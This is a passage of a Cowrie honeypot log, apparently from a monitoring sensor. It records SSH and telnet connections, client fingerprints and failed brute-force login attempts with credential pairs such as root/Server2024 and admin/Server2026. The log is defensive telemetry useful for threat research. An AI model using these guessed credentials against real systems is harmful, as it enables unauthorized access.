"ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:55.733511Z","src_ip":"8.210.75.243","session":"511fc49bfb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2026","message":"login attempt [admin/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:55.747534Z","src_ip":"81.91.233.66","session":"99055903e607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:56.237512Z","src_ip":"81.91.233.66","session":"99055903e607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":61696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d889d8190e83","protocol":"ssh","message":"New connection: 81.91.233.66:61696 (10.17.0.5:22) [session: d889d8190e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:56.512731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:56.515980Z","src_ip":"81.91.233.66","session":"d889d8190e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:56.771202Z","src_ip":"81.91.233.66","session":"d889d8190e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2026","message":"login attempt [user/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:57.822530Z","src_ip":"81.91.233.66","session":"d889d8190e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:58.310907Z","src_ip":"81.91.233.66","session":"d889d8190e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":61816,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddbd8e6c4abe","protocol":"ssh","message":"New connection: 81.91.233.66:61816 (10.17.0.5:22) [session: ddbd8e6c4abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:58.562754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:58.566845Z","src_ip":"81.91.233.66","session":"ddbd8e6c4abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:58.816598Z","src_ip":"81.91.233.66","session":"ddbd8e6c4abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2026","message":"login attempt [user2/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:59.835783Z","src_ip":"81.91.233.66","session":"ddbd8e6c4abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:00.326240Z","src_ip":"81.91.233.66","session":"ddbd8e6c4abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":61927,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f6905839ad","protocol":"ssh","message":"New connection: 81.91.233.66:61927 (10.17.0.5:22) [session: c7f6905839ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:00.580638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:00.584949Z","src_ip":"81.91.233.66","session":"c7f6905839ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:00.827717Z","src_ip":"81.91.233.66","session":"c7f6905839ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2024","message":"login attempt [root/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:01.832334Z","src_ip":"81.91.233.66","session":"c7f6905839ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:02.323716Z","src_ip":"81.91.233.66","session":"c7f6905839ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62033,"dst_ip":"10.17.0.5","dst_port":22,"session":"838f299733e2","protocol":"ssh","message":"New connection: 81.91.233.66:62033 (10.17.0.5:22) [session: 838f299733e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:02.596467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:02.600818Z","src_ip":"81.91.233.66","session":"838f299733e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:02.855746Z","src_ip":"81.91.233.66","session":"838f299733e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2024","message":"login attempt [admin/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:03.896436Z","src_ip":"81.91.233.66","session":"838f299733e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47588,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3bed275dfa9","protocol":"telnet","message":"New connection: 170.64.224.25:47588 (159.203.135.109:23) [session: f3bed275dfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.124419Z"}
{"eventid":"cowrie.session.closed","duration":34.962772607803345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.302770Z","src_ip":"170.64.224.25","session":"39aad31a80bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.382153Z","src_ip":"81.91.233.66","session":"838f299733e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47256,"dst_ip":"10.17.0.5","dst_port":22,"session":"4142bf225b1b","protocol":"ssh","message":"New connection: 89.223.69.22:47256 (10.17.0.5:22) [session: 4142bf225b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.588815Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62148,"dst_ip":"10.17.0.5","dst_port":22,"session":"03a4250bac84","protocol":"ssh","message":"New connection: 81.91.233.66:62148 (10.17.0.5:22) [session: 03a4250bac84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.643133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.647141Z","src_ip":"81.91.233.66","session":"03a4250bac84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:04.896723Z","src_ip":"81.91.233.66","session":"03a4250bac84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:05.094855Z","src_ip":"8.210.75.243","session":"3f0cbb0e0021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2024","message":"login attempt [user/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:05.931987Z","src_ip":"81.91.233.66","session":"03a4250bac84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:06.414461Z","src_ip":"81.91.233.66","session":"03a4250bac84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47600,"dst_ip":"159.203.135.109","dst_port":23,"session":"625f8d437014","protocol":"telnet","message":"New connection: 170.64.224.25:47600 (159.203.135.109:23) [session: 625f8d437014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:06.597582Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62270,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c9cad174830","protocol":"ssh","message":"New connection: 81.91.233.66:62270 (10.17.0.5:22) [session: 9c9cad174830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:06.680122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:06.684443Z","src_ip":"81.91.233.66","session":"9c9cad174830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:06.934978Z","src_ip":"81.91.233.66","session":"9c9cad174830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2024","message":"login attempt [user2/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:07.973202Z","src_ip":"81.91.233.66","session":"9c9cad174830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.454134Z","src_ip":"81.91.233.66","session":"9c9cad174830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62383,"dst_ip":"10.17.0.5","dst_port":22,"session":"500708487774","protocol":"ssh","message":"New connection: 81.91.233.66:62383 (10.17.0.5:22) [session: 500708487774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.710225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.717054Z","src_ip":"81.91.233.66","session":"500708487774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":58454,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea2b845e2ea","protocol":"ssh","message":"New connection: 166.62.89.133:58454 (10.17.0.5:22) [session: fea2b845e2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.834372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.838289Z","src_ip":"166.62.89.133","session":"fea2b845e2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.903654Z","src_ip":"166.62.89.133","session":"fea2b845e2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:08.964406Z","src_ip":"81.91.233.66","session":"500708487774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vrt","password":"vrt123","message":"login attempt [vrt/vrt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:09.100412Z","src_ip":"166.62.89.133","session":"fea2b845e2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025","message":"login attempt [root/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:09.985642Z","src_ip":"81.91.233.66","session":"500708487774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:10.168483Z","src_ip":"166.62.89.133","session":"fea2b845e2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:10.468099Z","src_ip":"81.91.233.66","session":"500708487774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":2264,"dst_ip":"10.17.0.5","dst_port":22,"session":"e279d0880107","protocol":"ssh","message":"New connection: 81.91.233.66:2264 (10.17.0.5:22) [session: e279d0880107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:10.741372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:10.748422Z","src_ip":"81.91.233.66","session":"e279d0880107","protocol":"ssh"}
